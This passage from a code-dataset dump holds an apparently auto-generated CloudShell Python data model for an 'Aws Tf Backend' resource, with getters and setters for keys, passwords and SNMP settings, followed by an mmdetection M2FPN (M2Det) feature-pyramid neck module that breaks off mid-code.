:rtype: str """ return self.attributes['Aws Tf Backend.GenericPowerPort.Model'] if 'Aws Tf Backend.GenericPowerPort.Model' in self.attributes else None @model.setter def model(self, value): """ The device model. This information is typically used for abstract resource filtering. :type value: str """ self.attributes['Aws Tf Backend.GenericPowerPort.Model'] = value @property def serial_number(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.GenericPowerPort.Serial Number'] if 'Aws Tf Backend.GenericPowerPort.Serial Number' in self.attributes else None @serial_number.setter def serial_number(self, value): """ :type value: str """ self.attributes['Aws Tf Backend.GenericPowerPort.Serial Number'] = value @property def version(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.GenericPowerPort.Version'] if 'Aws Tf Backend.GenericPowerPort.Version' in self.attributes else None @version.setter def version(self, value): """ The firmware version of the resource. :type value: str """ self.attributes['Aws Tf Backend.GenericPowerPort.Version'] = value @property def port_description(self): """ :rtype: str """ return self.attributes['Aws Tf Backend.GenericPowerPort.Port Description'] if 'Aws Tf Backend.GenericPowerPort.Port Description' in self.attributes else None @port_description.setter def port_description(self, value): """ The description of the port as configured in the device. :type value: str """ self.attributes['Aws Tf Backend.GenericPowerPort.Port Description'] = value @property def name(self): """ :rtype: str """ return self._name @name.setter def name(self, value): """ :type value: str """ self._name = value @property def cloudshell_model_name(self): """ :rtype: str """ return self._cloudshell_model_name @cloudshell_model_name.setter def cloudshell_model_name(self, value): """ :type value: str """ self._cloudshell_model_name = value @property def model_name(self): """ :rtype: str """ return self.attributes['CS_PowerPort.Model Name'] if 'CS_PowerPort.Model Name' in self.attributes else None @model_name.setter def model_name(self, value=''): """ The catalog name of the device model. This attribute will be displayed in CloudShell instead of the CloudShell model. :type value: str """ self.attributes['CS_PowerPort.Model Name'] = value

33.1125

251

0.629024

from cloudshell.shell.core.driver_context import ResourceCommandContext, AutoLoadDetails, AutoLoadAttribute, \ AutoLoadResource from collections import defaultdict class LegacyUtils(object): def __init__(self): self._datamodel_clss_dict = self.__generate_datamodel_classes_dict() def migrate_autoload_details(self, autoload_details, context): model_name = context.resource.model root_name = context.resource.name root = self.__create_resource_from_datamodel(model_name, root_name) attributes = self.__create_attributes_dict(autoload_details.attributes) self.__attach_attributes_to_resource(attributes, '', root) self.__build_sub_resoruces_hierarchy(root, autoload_details.resources, attributes) return root def __create_resource_from_datamodel(self, model_name, res_name): return self._datamodel_clss_dict[model_name](res_name) def __create_attributes_dict(self, attributes_lst): d = defaultdict(list) for attribute in attributes_lst: d[attribute.relative_address].append(attribute) return d def __build_sub_resoruces_hierarchy(self, root, sub_resources, attributes): d = defaultdict(list) for resource in sub_resources: splitted = resource.relative_address.split('/') parent = '' if len(splitted) == 1 else resource.relative_address.rsplit('/', 1)[0] rank = len(splitted) d[rank].append((parent, resource)) self.__set_models_hierarchy_recursively(d, 1, root, '', attributes) def __set_models_hierarchy_recursively(self, dict, rank, manipulated_resource, resource_relative_addr, attributes): if rank not in dict: pass for (parent, resource) in dict[rank]: if parent == resource_relative_addr: sub_resource = self.__create_resource_from_datamodel( resource.model.replace(' ', ''), resource.name) self.__attach_attributes_to_resource(attributes, resource.relative_address, sub_resource) manipulated_resource.add_sub_resource( self.__slice_parent_from_relative_path(parent, resource.relative_address), sub_resource) self.__set_models_hierarchy_recursively( dict, rank + 1, sub_resource, resource.relative_address, attributes) def __attach_attributes_to_resource(self, attributes, curr_relative_addr, resource): for attribute in attributes[curr_relative_addr]: setattr(resource, attribute.attribute_name.lower().replace(' ', '_'), attribute.attribute_value) del attributes[curr_relative_addr] def __slice_parent_from_relative_path(self, parent, relative_addr): if parent is '': return relative_addr return relative_addr[len(parent) + 1:] def __generate_datamodel_classes_dict(self): return dict(self.__collect_generated_classes()) def __collect_generated_classes(self): import sys, inspect return inspect.getmembers(sys.modules[__name__], inspect.isclass) class AwsTfBackend(object): def __init__(self, name): self.attributes = {} self.resources = {} self._cloudshell_model_name = 'Aws Tf Backend' self._name = name def add_sub_resource(self, relative_path, sub_resource): self.resources[relative_path] = sub_resource @classmethod def create_from_context(cls, context): result = AwsTfBackend(name=context.resource.name) for attr in context.resource.attributes: result.attributes[attr] = context.resource.attributes[attr] return result def create_autoload_details(self, relative_path=''): resources = [AutoLoadResource(model=self.resources[r].cloudshell_model_name, name=self.resources[r].name, relative_address=self._get_relative_path(r, relative_path)) for r in self.resources] attributes = [AutoLoadAttribute(relative_path, a, self.attributes[a]) for a in self.attributes] autoload_details = AutoLoadDetails(resources, attributes) for r in self.resources: curr_path = relative_path + '/' + r if relative_path else r curr_auto_load_details = self.resources[r].create_autoload_details(curr_path) autoload_details = self._merge_autoload_details(autoload_details, curr_auto_load_details) return autoload_details def _get_relative_path(self, child_path, parent_path): return parent_path + '/' + child_path if parent_path else child_path @staticmethod def _merge_autoload_details(autoload_details1, autoload_details2): for attribute in autoload_details2.attributes: autoload_details1.attributes.append(attribute) for resource in autoload_details2.resources: autoload_details1.resources.append(resource) return autoload_details1 @property def cloudshell_model_name(self): return 'AwsTfBackend' @property def bucket_name(self): return self.attributes['Aws Tf Backend.Bucket Name'] if 'Aws Tf Backend.Bucket Name' in self.attributes else None @bucket_name.setter def bucket_name(self, value): self.attributes['Aws Tf Backend.Bucket Name'] = value @property def region_name(self): return self.attributes['Aws Tf Backend.Region Name'] if 'Aws Tf Backend.Region Name' in self.attributes else None @region_name.setter def region_name(self, value): self.attributes['Aws Tf Backend.Region Name'] = value @property def access_key(self): return self.attributes['Aws Tf Backend.Access Key'] if 'Aws Tf Backend.Access Key' in self.attributes else None @access_key.setter def access_key(self, value): self.attributes['Aws Tf Backend.Access Key'] = value @property def secret_key(self): return self.attributes['Aws Tf Backend.Secret Key'] if 'Aws Tf Backend.Secret Key' in self.attributes else None @secret_key.setter def secret_key(self, value): self.attributes['Aws Tf Backend.Secret Key'] = value @property def cloud_provider(self): return self.attributes['Aws Tf Backend.Cloud Provider'] if 'Aws Tf Backend.Cloud Provider' in self.attributes else None @cloud_provider.setter def cloud_provider(self, value): self.attributes['Aws Tf Backend.Cloud Provider'] = value @property def hide_address(self): return self.attributes['Aws Tf Backend.hide_address'] if 'Aws Tf Backend.hide_address' in self.attributes else None @hide_address.setter def hide_address(self, value='true'): self.attributes['Aws Tf Backend.hide_address'] = value @property def user(self): return self.attributes['Aws Tf Backend.User'] if 'Aws Tf Backend.User' in self.attributes else None @user.setter def user(self, value): self.attributes['Aws Tf Backend.User'] = value @property def password(self): return self.attributes['Aws Tf Backend.Password'] if 'Aws Tf Backend.Password' in self.attributes else None @password.setter def password(self, value): self.attributes['Aws Tf Backend.Password'] = value @property def enable_password(self): return self.attributes['Aws Tf Backend.Enable Password'] if 'Aws Tf Backend.Enable Password' in self.attributes else None @enable_password.setter def enable_password(self, value): self.attributes['Aws Tf Backend.Enable Password'] = value @property def power_management(self): return self.attributes['Aws Tf Backend.Power Management'] if 'Aws Tf Backend.Power Management' in self.attributes else None @power_management.setter def power_management(self, value=True): self.attributes['Aws Tf Backend.Power Management'] = value @property def sessions_concurrency_limit(self): return self.attributes['Aws Tf Backend.Sessions Concurrency Limit'] if 'Aws Tf Backend.Sessions Concurrency Limit' in self.attributes else None @sessions_concurrency_limit.setter def sessions_concurrency_limit(self, value='1'): self.attributes['Aws Tf Backend.Sessions Concurrency Limit'] = value @property def snmp_read_community(self): return self.attributes['Aws Tf Backend.SNMP Read Community'] if 'Aws Tf Backend.SNMP Read Community' in self.attributes else None @snmp_read_community.setter def snmp_read_community(self, value): self.attributes['Aws Tf Backend.SNMP Read Community'] = value @property def snmp_write_community(self): return self.attributes['Aws Tf Backend.SNMP Write Community'] if 'Aws Tf Backend.SNMP Write Community' in self.attributes else None @snmp_write_community.setter def snmp_write_community(self, value): self.attributes['Aws Tf Backend.SNMP Write Community'] = value @property def snmp_v3_user(self): return self.attributes['Aws Tf Backend.SNMP V3 User'] if 'Aws Tf Backend.SNMP V3 User' in self.attributes else None @snmp_v3_user.setter def snmp_v3_user(self, value): self.attributes['Aws Tf Backend.SNMP V3 User'] = value @property def snmp_v3_password(self): return self.attributes['Aws Tf Backend.SNMP V3 Password'] if 'Aws Tf Backend.SNMP V3 Password' in self.attributes else None @snmp_v3_password.setter def snmp_v3_password(self, value): self.attributes['Aws Tf Backend.SNMP V3 Password'] = value @property def snmp_v3_private_key(self): return self.attributes['Aws Tf Backend.SNMP V3 Private Key'] if 'Aws Tf Backend.SNMP V3 Private Key' in self.attributes else None @snmp_v3_private_key.setter def snmp_v3_private_key(self, value): self.attributes['Aws Tf Backend.SNMP V3 Private Key'] = value @property def snmp_v3_authentication_protocol(self): return self.attributes['Aws Tf Backend.SNMP V3 Authentication Protocol'] if 'Aws Tf Backend.SNMP V3 Authentication Protocol' in self.attributes else None @snmp_v3_authentication_protocol.setter def snmp_v3_authentication_protocol(self, value='No Authentication Protocol'): self.attributes['Aws Tf Backend.SNMP V3 Authentication Protocol'] = value @property def snmp_v3_privacy_protocol(self): return self.attributes['Aws Tf Backend.SNMP V3 Privacy Protocol'] if 'Aws Tf Backend.SNMP V3 Privacy Protocol' in self.attributes else None @snmp_v3_privacy_protocol.setter def snmp_v3_privacy_protocol(self, value='No Privacy Protocol'): self.attributes['Aws Tf Backend.SNMP V3 Privacy Protocol'] = value @property def snmp_version(self): return self.attributes['Aws Tf Backend.SNMP Version'] if 'Aws Tf Backend.SNMP Version' in self.attributes else None @snmp_version.setter def snmp_version(self, value=''): self.attributes['Aws Tf Backend.SNMP Version'] = value @property def enable_snmp(self): return self.attributes['Aws Tf Backend.Enable SNMP'] if 'Aws Tf Backend.Enable SNMP' in self.attributes else None @enable_snmp.setter def enable_snmp(self, value=True): self.attributes['Aws Tf Backend.Enable SNMP'] = value @property def disable_snmp(self): return self.attributes['Aws Tf Backend.Disable SNMP'] if 'Aws Tf Backend.Disable SNMP' in self.attributes else None @disable_snmp.setter def disable_snmp(self, value=False): self.attributes['Aws Tf Backend.Disable SNMP'] = value @property def console_server_ip_address(self): return self.attributes['Aws Tf Backend.Console Server IP Address'] if 'Aws Tf Backend.Console Server IP Address' in self.attributes else None @console_server_ip_address.setter def console_server_ip_address(self, value): self.attributes['Aws Tf Backend.Console Server IP Address'] = value @property def console_user(self): return self.attributes['Aws Tf Backend.Console User'] if 'Aws Tf Backend.Console User' in self.attributes else None @console_user.setter def console_user(self, value): self.attributes['Aws Tf Backend.Console User'] = value @property def console_port(self): return self.attributes['Aws Tf Backend.Console Port'] if 'Aws Tf Backend.Console Port' in self.attributes else None @console_port.setter def console_port(self, value): self.attributes['Aws Tf Backend.Console Port'] = value @property def console_password(self): return self.attributes['Aws Tf Backend.Console Password'] if 'Aws Tf Backend.Console Password' in self.attributes else None @console_password.setter def console_password(self, value): self.attributes['Aws Tf Backend.Console Password'] = value @property def cli_connection_type(self): return self.attributes['Aws Tf Backend.CLI Connection Type'] if 'Aws Tf Backend.CLI Connection Type' in self.attributes else None @cli_connection_type.setter def cli_connection_type(self, value='Auto'): self.attributes['Aws Tf Backend.CLI Connection Type'] = value @property def cli_tcp_port(self): return self.attributes['Aws Tf Backend.CLI TCP Port'] if 'Aws Tf Backend.CLI TCP Port' in self.attributes else None @cli_tcp_port.setter def cli_tcp_port(self, value): self.attributes['Aws Tf Backend.CLI TCP Port'] = value @property def backup_location(self): return self.attributes['Aws Tf Backend.Backup Location'] if 'Aws Tf Backend.Backup Location' in self.attributes else None @backup_location.setter def backup_location(self, value): self.attributes['Aws Tf Backend.Backup Location'] = value @property def backup_type(self): return self.attributes['Aws Tf Backend.Backup Type'] if 'Aws Tf Backend.Backup Type' in self.attributes else None @backup_type.setter def backup_type(self, value='File System'): self.attributes['Aws Tf Backend.Backup Type'] = value @property def backup_user(self): return self.attributes['Aws Tf Backend.Backup User'] if 'Aws Tf Backend.Backup User' in self.attributes else None @backup_user.setter def backup_user(self, value): self.attributes['Aws Tf Backend.Backup User'] = value @property def backup_password(self): return self.attributes['Aws Tf Backend.Backup Password'] if 'Aws Tf Backend.Backup Password' in self.attributes else None @backup_password.setter def backup_password(self, value): self.attributes['Aws Tf Backend.Backup Password'] = value @property def name(self): return self._name @name.setter def name(self, value): self._name = value @property def cloudshell_model_name(self): return self._cloudshell_model_name @cloudshell_model_name.setter def cloudshell_model_name(self, value): self._cloudshell_model_name = value @property def system_name(self): return self.attributes['CS_GenericResource.System Name'] if 'CS_GenericResource.System Name' in self.attributes else None @system_name.setter def system_name(self, value): self.attributes['CS_GenericResource.System Name'] = value @property def vendor(self): return self.attributes['CS_GenericResource.Vendor'] if 'CS_GenericResource.Vendor' in self.attributes else None @vendor.setter def vendor(self, value=''): self.attributes['CS_GenericResource.Vendor'] = value @property def contact_name(self): return self.attributes['CS_GenericResource.Contact Name'] if 'CS_GenericResource.Contact Name' in self.attributes else None @contact_name.setter def contact_name(self, value): self.attributes['CS_GenericResource.Contact Name'] = value @property def location(self): return self.attributes['CS_GenericResource.Location'] if 'CS_GenericResource.Location' in self.attributes else None @location.setter def location(self, value=''): self.attributes['CS_GenericResource.Location'] = value @property def model(self): return self.attributes['CS_GenericResource.Model'] if 'CS_GenericResource.Model' in self.attributes else None @model.setter def model(self, value=''): self.attributes['CS_GenericResource.Model'] = value @property def model_name(self): return self.attributes['CS_GenericResource.Model Name'] if 'CS_GenericResource.Model Name' in self.attributes else None @model_name.setter def model_name(self, value=''): self.attributes['CS_GenericResource.Model Name'] = value class ResourcePort(object): def __init__(self, name): self.attributes = {} self.resources = {} self._cloudshell_model_name = 'Aws Tf Backend.ResourcePort' self._name = name def add_sub_resource(self, relative_path, sub_resource): self.resources[relative_path] = sub_resource @classmethod def create_from_context(cls, context): result = ResourcePort(name=context.resource.name) for attr in context.resource.attributes: result.attributes[attr] = context.resource.attributes[attr] return result def create_autoload_details(self, relative_path=''): resources = [AutoLoadResource(model=self.resources[r].cloudshell_model_name, name=self.resources[r].name, relative_address=self._get_relative_path(r, relative_path)) for r in self.resources] attributes = [AutoLoadAttribute(relative_path, a, self.attributes[a]) for a in self.attributes] autoload_details = AutoLoadDetails(resources, attributes) for r in self.resources: curr_path = relative_path + '/' + r if relative_path else r curr_auto_load_details = self.resources[r].create_autoload_details(curr_path) autoload_details = self._merge_autoload_details(autoload_details, curr_auto_load_details) return autoload_details def _get_relative_path(self, child_path, parent_path): return parent_path + '/' + child_path if parent_path else child_path @staticmethod def _merge_autoload_details(autoload_details1, autoload_details2): for attribute in autoload_details2.attributes: autoload_details1.attributes.append(attribute) for resource in autoload_details2.resources: autoload_details1.resources.append(resource) return autoload_details1 @property def cloudshell_model_name(self): return 'ResourcePort' @property def mac_address(self): return self.attributes['Aws Tf Backend.ResourcePort.MAC Address'] if 'Aws Tf Backend.ResourcePort.MAC Address' in self.attributes else None @mac_address.setter def mac_address(self, value=''): self.attributes['Aws Tf Backend.ResourcePort.MAC Address'] = value @property def ipv4_address(self): return self.attributes['Aws Tf Backend.ResourcePort.IPv4 Address'] if 'Aws Tf Backend.ResourcePort.IPv4 Address' in self.attributes else None @ipv4_address.setter def ipv4_address(self, value): self.attributes['Aws Tf Backend.ResourcePort.IPv4 Address'] = value @property def ipv6_address(self): return self.attributes['Aws Tf Backend.ResourcePort.IPv6 Address'] if 'Aws Tf Backend.ResourcePort.IPv6 Address' in self.attributes else None @ipv6_address.setter def ipv6_address(self, value): self.attributes['Aws Tf Backend.ResourcePort.IPv6 Address'] = value @property def port_speed(self): return self.attributes['Aws Tf Backend.ResourcePort.Port Speed'] if 'Aws Tf Backend.ResourcePort.Port Speed' in self.attributes else None @port_speed.setter def port_speed(self, value): self.attributes['Aws Tf Backend.ResourcePort.Port Speed'] = value @property def name(self): return self._name @name.setter def name(self, value): self._name = value @property def cloudshell_model_name(self): return self._cloudshell_model_name @cloudshell_model_name.setter def cloudshell_model_name(self, value): self._cloudshell_model_name = value @property def model_name(self): return self.attributes['CS_Port.Model Name'] if 'CS_Port.Model Name' in self.attributes else None @model_name.setter def model_name(self, value=''): self.attributes['CS_Port.Model Name'] = value class GenericPowerPort(object): def __init__(self, name): self.attributes = {} self.resources = {} self._cloudshell_model_name = 'Aws Tf Backend.GenericPowerPort' self._name = name def add_sub_resource(self, relative_path, sub_resource): self.resources[relative_path] = sub_resource @classmethod def create_from_context(cls, context): result = GenericPowerPort(name=context.resource.name) for attr in context.resource.attributes: result.attributes[attr] = context.resource.attributes[attr] return result def create_autoload_details(self, relative_path=''): resources = [AutoLoadResource(model=self.resources[r].cloudshell_model_name, name=self.resources[r].name, relative_address=self._get_relative_path(r, relative_path)) for r in self.resources] attributes = [AutoLoadAttribute(relative_path, a, self.attributes[a]) for a in self.attributes] autoload_details = AutoLoadDetails(resources, attributes) for r in self.resources: curr_path = relative_path + '/' + r if relative_path else r curr_auto_load_details = self.resources[r].create_autoload_details(curr_path) autoload_details = self._merge_autoload_details(autoload_details, curr_auto_load_details) return autoload_details def _get_relative_path(self, child_path, parent_path): return parent_path + '/' + child_path if parent_path else child_path @staticmethod def _merge_autoload_details(autoload_details1, autoload_details2): for attribute in autoload_details2.attributes: autoload_details1.attributes.append(attribute) for resource in autoload_details2.resources: autoload_details1.resources.append(resource) return autoload_details1 @property def cloudshell_model_name(self): return 'GenericPowerPort' @property def model(self): return self.attributes['Aws Tf Backend.GenericPowerPort.Model'] if 'Aws Tf Backend.GenericPowerPort.Model' in self.attributes else None @model.setter def model(self, value): self.attributes['Aws Tf Backend.GenericPowerPort.Model'] = value @property def serial_number(self): return self.attributes['Aws Tf Backend.GenericPowerPort.Serial Number'] if 'Aws Tf Backend.GenericPowerPort.Serial Number' in self.attributes else None @serial_number.setter def serial_number(self, value): self.attributes['Aws Tf Backend.GenericPowerPort.Serial Number'] = value @property def version(self): return self.attributes['Aws Tf Backend.GenericPowerPort.Version'] if 'Aws Tf Backend.GenericPowerPort.Version' in self.attributes else None @version.setter def version(self, value): self.attributes['Aws Tf Backend.GenericPowerPort.Version'] = value @property def port_description(self): return self.attributes['Aws Tf Backend.GenericPowerPort.Port Description'] if 'Aws Tf Backend.GenericPowerPort.Port Description' in self.attributes else None @port_description.setter def port_description(self, value): self.attributes['Aws Tf Backend.GenericPowerPort.Port Description'] = value @property def name(self): return self._name @name.setter def name(self, value): self._name = value @property def cloudshell_model_name(self): return self._cloudshell_model_name @cloudshell_model_name.setter def cloudshell_model_name(self, value): self._cloudshell_model_name = value @property def model_name(self): return self.attributes['CS_PowerPort.Model Name'] if 'CS_PowerPort.Model Name' in self.attributes else None @model_name.setter def model_name(self, value=''): self.attributes['CS_PowerPort.Model Name'] = value

true

f71031a3fd2f8846d71ea867cc54aa76a975b9a1

9,412

py

Python

mmdet/models/necks/m2fpn.py

ningdez/Tianchi_Cancer_303

59e9b6f906e48e7508f455ce29b97d430791fcf5

[ "MIT" ]

2

2020-06-23T14:12:03.000Z

2020-11-13T02:52:30.000Z

mmdet/models/necks/m2fpn.py

ningdez/Tianchi_Cancer_303

59e9b6f906e48e7508f455ce29b97d430791fcf5

[ "MIT" ]

1

2021-11-10T10:42:33.000Z

mmdet/models/necks/m2fpn.py

ningdez/Tianchi_Cancer_303

59e9b6f906e48e7508f455ce29b97d430791fcf5

[ "MIT" ]

null

''' This code is based on pytorch_ssd and RFBNet. Details about the modules: TUM - Thinned U-shaped Module MLFPN - Multi-Level Feature Pyramid Network M2Det - Multi-level Multi-scale single-shot object Detector Author: Qijie Zhao (zhaoqijie@pku.edu.cn) Finished Date: 01/17/2019 ''' import torch import torch.nn as nn import torch.nn.functional as F from mmcv.cnn import xavier_init import warnings warnings.filterwarnings('ignore') from ..registry import NECKS from ..utils import ConvModule class TUM(nn.Module): def __init__(self, first_level=True, input_planes=128, is_smooth=True, side_channel=512, scales=6, conv_cfg=None, norm_cfg=None ): super(TUM, self).__init__() self.is_smooth = is_smooth self.side_channel = side_channel self.input_planes = input_planes self.planes = 2 * self.input_planes self.first_level = first_level self.scales = scales self.in1 = input_planes + side_channel if not first_level else input_planes self.layers = nn.Sequential() self.layers.add_module('{}'.format(len(self.layers)), ConvModule(self.in1, self.planes, 3, 2, 1,conv_cfg=conv_cfg,norm_cfg=norm_cfg)) for i in range(self.scales - 2): if not i == self.scales - 3: self.layers.add_module( '{}'.format(len(self.layers)), ConvModule(self.planes, self.planes, 3, 2, 1,conv_cfg=conv_cfg,norm_cfg=norm_cfg) ) else: self.layers.add_module( '{}'.format(len(self.layers)), ConvModule(self.planes, self.planes, 3, 1, 0,conv_cfg=conv_cfg,norm_cfg=norm_cfg) ) self.toplayer = nn.Sequential(ConvModule(self.planes, self.planes, 1, 1, 0,conv_cfg=conv_cfg,norm_cfg=norm_cfg)) self.latlayer = nn.Sequential() for i in range(self.scales - 2): self.latlayer.add_module( '{}'.format(len(self.latlayer)), ConvModule(self.planes, self.planes, 3, 1, 1,conv_cfg=conv_cfg,norm_cfg=norm_cfg) ) self.latlayer.add_module('{}'.format(len(self.latlayer)), ConvModule(self.in1, self.planes, 3, 1, 1,conv_cfg=conv_cfg,norm_cfg=norm_cfg)) if self.is_smooth: smooth = list() for i in range(self.scales - 1): smooth.append( ConvModule(self.planes, self.planes, 1, 1, 0,conv_cfg=conv_cfg,norm_cfg=norm_cfg) ) self.smooth = nn.Sequential(*smooth) def _upsample_add(self, x, y, fuse_type='interp'): _, _, H, W = y.size() if fuse_type == 'interp': return F.interpolate(x, size=(H, W), mode='nearest') + y else: raise NotImplementedError # return nn.ConvTranspose2d(16, 16, 3, stride=2, padding=1) def forward(self, x, y): if not self.first_level: x = torch.cat([x, y], 1) conved_feat = [x] for i in range(len(self.layers)): x = self.layers[i](x) conved_feat.append(x) deconved_feat = [self.toplayer[0](conved_feat[-1])] for i in range(len(self.latlayer)): deconved_feat.append( self._upsample_add( deconved_feat[i], self.latlayer[i](conved_feat[len(self.layers) - 1 - i]) ) ) if self.is_smooth: smoothed_feat = [deconved_feat[0]] for i in range(len(self.smooth)): smoothed_feat.append( self.smooth[i](deconved_feat[i + 1]) ) return smoothed_feat return deconved_feat class SFAM(nn.Module): def __init__(self, planes, num_levels, num_scales, compress_ratio=16): super(SFAM, self).__init__() self.planes = planes self.num_levels = num_levels self.num_scales = num_scales self.compress_ratio = compress_ratio self.fc1 = nn.ModuleList([nn.Conv2d(self.planes * self.num_levels, self.planes * self.num_levels // 16, 1, 1, 0)] * self.num_scales) self.relu = nn.ReLU(inplace=True) self.fc2 = nn.ModuleList([nn.Conv2d(self.planes * self.num_levels // 16, self.planes * self.num_levels, 1, 1, 0)] * self.num_scales) self.sigmoid = nn.Sigmoid() self.avgpool = nn.AdaptiveAvgPool2d(1) def forward(self, x): attention_feat = [] for i, _mf in enumerate(x): _tmp_f = self.avgpool(_mf) _tmp_f = self.fc1[i](_tmp_f) _tmp_f = self.relu(_tmp_f) _tmp_f = self.fc2[i](_tmp_f) _tmp_f = self.sigmoid(_tmp_f) attention_feat.append(_mf * _tmp_f) return attention_feat @NECKS.register_module class M2FPN(nn.Module): def __init__(self, num_levels = 8, num_scales = 5, sfam=False, smooth=True, in_channels = [512,2048], out_channels=256, conv_cfg=None, norm_cfg=None): ''' M2Det: Multi-level Multi-scale single-shot object Detector ''' super(M2FPN,self).__init__() self.planes = out_channels self.conv_cfg = conv_cfg self.norm_cfg = norm_cfg self.num_levels = num_levels self.num_scales = num_scales self.sfam = sfam self.smooth = smooth self.in_channels = in_channels self.shallow_out =256 self.deep_out =512 self.construct_modules() def construct_modules(self,): # construct tums for i in range(self.num_levels): if i == 0: setattr(self, 'unet{}'.format(i+1), TUM(first_level=True, input_planes=self.planes//2, is_smooth=self.smooth, scales=self.num_scales, side_channel=512)) #side channel isn't fixed. else: setattr(self, 'unet{}'.format(i+1), TUM(first_level=False, input_planes=self.planes//2, is_smooth=self.smooth, scales=self.num_scales, side_channel=self.planes)) self.reduce= ConvModule(self.in_channels[0], self.shallow_out, kernel_size=3, stride=1, padding=1) self.up_reduce_1= ConvModule(self.in_channels[2], self.in_channels[1], kernel_size=1, stride=1) self.up_reduce_2= ConvModule(self.in_channels[1], self.deep_out, kernel_size=1, stride=1) self.Norm = nn.BatchNorm2d(256*8) self.leach = nn.ModuleList([ConvModule( self.deep_out+self.shallow_out, self.planes//2, kernel_size=(1,1),stride=(1,1))]*self.num_levels) # construct localization and recognition layers conv_out = nn.ModuleList() for i in range(self.num_scales): conv_out.append(nn.Conv2d(self.planes*self.num_levels, self.planes, 3, 1, 1)) self.conv_out = nn.ModuleList(conv_out) # construct SFAM module if self.sfam: self.sfam_module = SFAM(self.planes, self.num_levels, self.num_scales, compress_ratio=16) def init_weights(self): for m in self.modules(): if isinstance(m, nn.Conv2d): xavier_init(m, distribution='uniform') def forward(self,x): assert len(x)==len(self.in_channels) # loc,conf = list(),list() # base_feats = list() # if 'vgg' in self.net_family: # for k in range(len(self.base)): # x = self.base[k](x) # if k in self.base_out: # base_feats.append(x) # elif 'res' in self.net_family: # base_feats = self.base(x, self.base_out) up_feats = x[1] + F.interpolate(self.up_reduce_1(x[2]),scale_factor=2,mode='nearest') base_feature = torch.cat( (self.reduce(x[0]), F.interpolate(self.up_reduce_2(up_feats),scale_factor=2,mode='nearest')),1 ) # tum_outs is the multi-level multi-scale feature tum_outs = [getattr(self, 'unet{}'.format(1))(self.leach[0](base_feature), 'none')] for i in range(1,self.num_levels,1): tum_outs.append( getattr(self, 'unet{}'.format(i+1))( self.leach[i](base_feature), tum_outs[i-1][-1] ) ) # concat with same scales sources = [torch.cat([_fx[i-1] for _fx in tum_outs],1) for i in range(self.num_scales, 0, -1)] # forward_sfam if self.sfam: sources = self.sfam_module(sources) sources[0] = self.Norm(sources[0]) output = [] for (x,cout) in zip(sources, self.conv_out): output.append(cout(x)) return tuple(output)

39.881356

145

0.546855

import torch import torch.nn as nn import torch.nn.functional as F from mmcv.cnn import xavier_init import warnings warnings.filterwarnings('ignore') from ..registry import NECKS from ..utils import ConvModule class TUM(nn.Module): def __init__(self, first_level=True, input_planes=128, is_smooth=True, side_channel=512, scales=6, conv_cfg=None, norm_cfg=None ): super(TUM, self).__init__() self.is_smooth = is_smooth self.side_channel = side_channel self.input_planes = input_planes self.planes = 2 * self.input_planes self.first_level = first_level self.scales = scales self.in1 = input_planes + side_channel if not first_level else input_planes self.layers = nn.Sequential() self.layers.add_module('{}'.format(len(self.layers)), ConvModule(self.in1, self.planes, 3, 2, 1,conv_cfg=conv_cfg,norm_cfg=norm_cfg)) for i in range(self.scales - 2): if not i == self.scales - 3: self.layers.add_module( '{}'.format(len(self.layers)), ConvModule(self.planes, self.planes, 3, 2, 1,conv_cfg=conv_cfg,norm_cfg=norm_cfg) ) else: self.layers.add_module( '{}'.format(len(self.layers)), ConvModule(self.planes, self.planes, 3, 1, 0,conv_cfg=conv_cfg,norm_cfg=norm_cfg) ) self.toplayer = nn.Sequential(ConvModule(self.planes, self.planes, 1, 1, 0,conv_cfg=conv_cfg,norm_cfg=norm_cfg)) self.latlayer = nn.Sequential() for i in range(self.scales - 2): self.latlayer.add_module( '{}'.format(len(self.latlayer)), ConvModule(self.planes, self.planes, 3, 1, 1,conv_cfg=conv_cfg,norm_cfg=norm_cfg) ) self.latlayer.add_module('{}'.format(len(self.latlayer)), ConvModule(self.in1, self.planes, 3, 1, 1,conv_cfg=conv_cfg,norm_cfg=norm_cfg)) if self.is_smooth: smooth = list() for i in range(self.scales - 1): smooth.append( ConvModule(self.planes, self.planes, 1, 1, 0,conv_cfg=conv_cfg,norm_cfg=norm_cfg) ) self.smooth = nn.Sequential(*smooth) def _upsample_add(self, x, y, fuse_type='interp'): _, _, H, W = y.size() if fuse_type == 'interp': return F.interpolate(x, size=(H, W), mode='nearest') + y else: raise NotImplementedError def forward(self, x, y): if not self.first_level: x = torch.cat([x, y], 1) conved_feat = [x] for i in range(len(self.layers)): x = self.layers[i](x) conved_feat.append(x) deconved_feat = [self.toplayer[0](conved_feat[-1])] for i in range(len(self.latlayer)): deconved_feat.append( self._upsample_add( deconved_feat[i], self.latlayer[i](conved_feat[len(self.layers) - 1 - i]) ) ) if self.is_smooth: smoothed_feat = [deconved_feat[0]] for i in range(len(self.smooth)): smoothed_feat.append( self.smooth[i](deconved_feat[i + 1]) ) return smoothed_feat return deconved_feat class SFAM(nn.Module): def __init__(self, planes, num_levels, num_scales, compress_ratio=16): super(SFAM, self).__init__() self.planes = planes self.num_levels = num_levels self.num_scales = num_scales self.compress_ratio = compress_ratio self.fc1 = nn.ModuleList([nn.Conv2d(self.planes * self.num_levels, self.planes * self.num_levels // 16, 1, 1, 0)] * self.num_scales) self.relu = nn.ReLU(inplace=True) self.fc2 = nn.ModuleList([nn.Conv2d(self.planes * self.num_levels // 16, self.planes * self.num_levels, 1, 1, 0)] * self.num_scales) self.sigmoid = nn.Sigmoid() self.avgpool = nn.AdaptiveAvgPool2d(1) def forward(self, x): attention_feat = [] for i, _mf in enumerate(x): _tmp_f = self.avgpool(_mf) _tmp_f = self.fc1[i](_tmp_f) _tmp_f = self.relu(_tmp_f) _tmp_f = self.fc2[i](_tmp_f) _tmp_f = self.sigmoid(_tmp_f) attention_feat.append(_mf * _tmp_f) return attention_feat @NECKS.register_module class M2FPN(nn.Module): def __init__(self, num_levels = 8, num_scales = 5, sfam=False, smooth=True, in_channels = [512,2048], out_channels=256, conv_cfg=None, norm_cfg=None): super(M2FPN,self).__init__() self.planes = out_channels self.conv_cfg = conv_cfg self.norm_cfg = norm_cfg self.num_levels = num_levels self.num_scales = num_scales self.sfam = sfam self.smooth = smooth self.in_channels = in_channels self.shallow_out =256 self.deep_out =512 self.construct_modules() def construct_modules(self,): for i in range(self.num_levels): if i == 0: setattr(self, 'unet{}'.format(i+1), TUM(first_level=True, input_planes=self.planes//2, is_smooth=self.smooth, scales=self.num_scales, side_channel=512)) else: setattr(self, 